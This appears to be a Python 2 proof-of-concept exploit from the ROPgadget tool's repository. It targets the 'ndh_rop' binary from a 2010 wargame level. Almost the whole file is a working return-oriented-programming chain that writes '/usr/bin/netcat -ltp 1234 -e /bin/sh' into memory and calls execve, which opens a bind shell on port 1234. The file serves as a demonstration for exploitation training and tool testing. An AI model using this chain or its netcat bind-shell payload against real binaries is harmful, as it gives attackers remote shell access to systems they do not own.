mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
120 lines
4.8 KiB
Python
Executable File
120 lines
4.8 KiB
Python
Executable File
#!/usr/bin/python2
|
|
# Test RopGadget payload in ndh_rop binary
|
|
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
|
|
#
|
|
# poc: ./ndh_rop "$(python2 ./exploit.py)"
|
|
|
|
from struct import pack
|
|
|
|
p = "a" * 12
|
|
# execve /bin/sh bindport 1234 generated by RopGadget v3.1
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8080) # @ .data
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "//us"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8084) # @ .data + 4
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "r/bi"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8088) # @ .data + 8
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "n/ne"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c808c) # @ .data + 12
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "tcat"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8090) # @ .data + 16
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8091) # @ .data + 17
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "-ltp"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8095) # @ .data + 21
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "1234"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c8099) # @ .data + 25
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c809a) # @ .data + 26
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "-e//"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c809e) # @ .data + 30
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "/bin"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80a2) # @ .data + 34
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += "//sh"
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80a6) # @ .data + 38
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80a8) # @ .data + 40
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += pack("<I", 0x080c8080) # @ .data
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80ac) # @ .data + 44
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += pack("<I", 0x080c8091) # @ .data + 17
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b0) # @ .data + 48
|
|
p += pack("<I", 0x080a5bc9) # pop %eax | ret
|
|
p += pack("<I", 0x080c809a) # @ .data + 26
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b4) # @ .data + 52
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b5) # @ .data + 53
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b6) # @ .data + 54
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b7) # @ .data + 55
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08091081) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08057e7b) # pop %ebx | ret
|
|
p += pack("<I", 0x080c8080) # @ .data
|
|
p += pack("<I", 0x080c2e8c) # pop %ecx | ret
|
|
p += pack("<I", 0x080c80a8) # @ .data + 40
|
|
p += pack("<I", 0x08059f4a) # pop %edx | ret
|
|
p += pack("<I", 0x080c80b4) # @ .data + 52
|
|
p += pack("<I", 0x080570f4) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x080823df) # inc %eax | ret
|
|
p += pack("<I", 0x0804908f) # int $0x80
|
|
|
|
print p
|